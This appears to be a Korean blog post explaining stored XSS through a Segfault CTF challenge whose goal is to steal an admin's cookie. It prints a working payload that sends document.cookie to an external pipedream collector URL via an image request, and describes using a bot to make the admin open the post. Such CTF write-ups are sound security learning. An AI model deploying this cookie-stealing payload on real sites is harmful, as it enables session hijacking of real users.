Stored XSS와 문제 예시

 

 

 

Stored XSS란

게시판 같은 곳이나 저장할 수 있는 곳에 공격자가 자바스크립트 형태를 저장 형태로 올려 브라우저 사용자들을 공격하는 형태이다.

저장 형식이어서 한번 삽입하면 광역적으로 공격이 이뤄진다.

 

Segfault XSS1 문제: 관리자의 쿠키를 탈취하라!

문제를 풀기 전 어떤 xss 공격 형태인지를 몰랐다 그러다가 여러 시도 끝에

게시판에 <script>alert(1)</script> 작성해 보고 stored xss 인지 확인이 되었다.

게시글을 누르면 alert(1) 띄워진다.

1을 띄웠으니 이제 다음 단계로 넘어가 보았다.

Burp Suite에서 보면 /xss_1/notice_update_process.php 업데이트 타이틀에 스크립트가 삽입된 걸 볼 수 있다.

그럼 이제 무엇을 해야 되나

스크립트 안에 이용자의 쿠키 데이터를 넣고 누른 사람의 쿠키 값을 공격자 pc에서 볼 수 있게 해야겠다.

<script>
var cookieData = document.cookie;

var i = new Image();
i.src = "https://enxzjclfzat9.x.pipedream.net/" + cookieData;
</script>

이런 스크립트를 넣었다 설명하자면

첫 번째 줄은 사용자의 저장된 쿠키 값을 받아서 cookieData에 저장한다.

두 번째 줄은 새로운 이미지를 만들어서 i에 저장한다.

세 번째 줄은 i.src 속성에 URL을 설정한 뒤 저장된 값을 공격자 pc로 cookieData 값을 보낸다.

보낸 후에 관리자가 접속하면 된다.

봇을 이용해 관리자가 접속하게 해보았다.

게시글의 URL은 http://ctf.segfaulthub.com:4343/xss_1/notice_read.php?id=210&view=1

이걸 관리자가 클릭하게 하면 된다.

관리자가 접속했다고 한다.

그러고 나서 공격자 서버에서 확인해 보면 플래그를 확인할 수 있다.

 

 

 

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다